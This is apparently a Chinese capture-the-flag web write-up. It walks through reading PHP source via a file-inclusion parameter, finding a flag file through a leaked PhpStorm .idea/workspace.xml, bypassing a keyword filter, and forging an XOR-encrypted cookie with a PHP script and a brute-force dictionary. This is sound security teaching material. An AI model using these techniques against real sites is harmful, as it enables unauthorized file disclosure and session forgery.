解题过程
观察URL为index.php?jpg=hei.jpg
,推测是文件包含
修改jpg参数为index.php
查看网页源码得到
PD9waHANCi8qKg0KICogQ3JlYXRlZCBieSBQaHBTdG9ybS4NCiAqIERhdGU6IDIwMTUvMTEvMTYNCiAqIFRpbWU6IDE6MzENCiAqLw0KaGVhZGVyKCdjb250ZW50LXR5cGU6dGV4dC9odG1sO2NoYXJzZXQ9dXRmLTgnKTsNCmlmKCEgaXNzZXQoJF9HRVRbJ2pwZyddKSkNCiAgICBoZWFkZXIoJ1JlZnJlc2g6MDt1cmw9Li9pbmRleC5waHA/anBnPWhlaS5qcGcnKTsNCiRmaWxlID0gJF9HRVRbJ2pwZyddOw0KZWNobyAnPHRpdGxlPmZpbGU6Jy4kZmlsZS4nPC90aXRsZT4nOw0KJGZpbGUgPSBwcmVnX3JlcGxhY2UoIi9bXmEtekEtWjAtOS5dKy8iLCIiLCAkZmlsZSk7DQokZmlsZSA9IHN0cl9yZXBsYWNlKCJjb25maWciLCJfIiwgJGZpbGUpOw0KJHR4dCA9IGJhc2U2NF9lbmNvZGUoZmlsZV9nZXRfY29udGVudHMoJGZpbGUpKTsNCg0KZWNobyAiPGltZyBzcmM9J2RhdGE6aW1hZ2UvZ2lmO2Jhc2U2NCwiLiR0eHQuIic+PC9pbWc+IjsNCg0KLyoNCiAqIENhbiB5b3UgZmluZCB0aGUgZmxhZyBmaWxlPw0KICoNCiAqLw0KDQo/Pg==
base64解码得到
<?php
/**
* Created by PhpStorm.
* Date: 2015/11/16
* Time: 1:31
*/
header('content-type:text/html;charset=utf-8');
if(! isset($_GET['jpg']))
header('Refresh:0;url=./index.php?jpg=hei.jpg');
$file = $_GET['jpg'];
echo '<title>file:'.$file.'</title>';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
$file = str_replace("config","_", $file);
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64,".$txt."'></img>";
/*
* Can you find the flag file?
*
*/
?>
推知工程由Phpstorm创建,可能存在.idea/
工程目录,泄露文件.idea/workspace.xml
,访问得到:
<list>
<option value="$PROJECT_DIR$/x.php"/>
<option value="$PROJECT_DIR$/config.php"/>
<option value="$PROJECT_DIR$/fl3g_ichuqiu.php"/>
</list>
但在index.php
中jpg
参数经过如下过滤
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
$file = str_replace("config","_", $file);
除了a-zA-Z0-9.
的所有字符都会被过滤掉并且config
被替换成下划线,则构造jpg=fl3gconfigichuqiu.php
访问得到:
<?php
/**
* Created by PhpStorm.
* Date: 2015/11/16
* Time: 1:31
*/
error_reporting(E_ALL || ~E_NOTICE);
include('config.php');
function random($length, $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz') {
$hash = '';
$max = strlen($chars) - 1;
for($i = 0; $i < $length; $i++) {
$hash .= $chars[mt_rand(0, $max)];
}
return $hash;
}
function encrypt($txt,$key){
for($i=0;$i<strlen($txt);$i++){
$tmp .= chr(ord($txt[$i])+10);
}
$txt = $tmp;
$rnd=random(4);
$key=md5($rnd.$key);
$s=0;
for($i=0;$i<strlen($txt);$i++){
if($s == 32) $s = 0;
$ttmp .= $txt[$i] ^ $key[++$s];
}
return base64_encode($rnd.$ttmp);
}
function decrypt($txt,$key){
$txt=base64_decode($txt);
$rnd = substr($txt,0,4);
$txt = substr($txt,4);
$key=md5($rnd.$key);
$s=0;
for($i=0;$i<strlen($txt);$i++){
if($s == 32) $s = 0;
$tmp .= $txt[$i]^$key[++$s];
}
for($i=0;$i<strlen($tmp);$i++){
$tmp1 .= chr(ord($tmp[$i])-10);
}
return $tmp1;
}
$username = decrypt($_COOKIE['user'],$key);
if ($username == 'system'){
echo $flag;
}else{
setcookie('user',encrypt('guest',$key));
echo "¨r(¨s¨Œ¨t)¨q";
}
?>
得知cookie中的user字段解密后为system则echo出flag,可通过给出的guest加密后的cookie爆出key的前五位,可通过16次枚举得到第六位,php脚本如下:
<?php
function ss($txt,$m)
{
for($i=0;$i<strlen($m);$i++){
$tmp .= chr(ord($m[$i])+10);
}
$m=$tmp;
$tmp="";
$txt=base64_decode($txt);
$rnd=substr($txt, 0,4);
$txt=substr($txt, 4);
for($i=0;$i<strlen($txt);$i++)
{
$key .= $txt[$i] ^ $m[$i];
}
$s='0123456789abcdef';
$txt1='system';
for($i=0;$i<strlen($txt1);$i++)
{
$tmp .= chr(ord($txt1[$i])+10);
}
$txt1=$tmp;
$tmp='';
for($i=0;$i<16;$i++)
{
$tmp=$key.$s[$i];
for($ii=0;$ii<strlen($txt1);$ii++)
{
$txt2.=$txt1[$ii]^$tmp[$ii];
}
file_put_contents(out.txt, base64_encode($rnd.$txt2)."\r\n",FILE_APPEND);
$txt2='';
}
}
ss('ZUZvYxAeCxsa','guest');
?>
得到字典
ZUZvYxziGRgLRw==
ZUZvYxziGRgLRg==
ZUZvYxziGRgLRQ==
ZUZvYxziGRgLRA==
ZUZvYxziGRgLQw==
ZUZvYxziGRgLQg==
ZUZvYxziGRgLQQ==
ZUZvYxziGRgLQA==
ZUZvYxziGRgLTw==
ZUZvYxziGRgLTg==
ZUZvYxziGRgLFg==
ZUZvYxziGRgLFQ==
ZUZvYxziGRgLFA==
ZUZvYxziGRgLEw==
ZUZvYxziGRgLEg==
ZUZvYxziGRgLEQ==
burp爆破得到flag{a83e44d0-c21e-40b7-b4c7-b4fe90524e5b}
知识小结
- 文件包含漏洞利用
- jetbrains公司的IDE可能产生的隐藏工程目录以及文件
- 正则表达式的字面量
/[^a-zA-Z0-9.]+/
的格式 - 异或运算是可逆的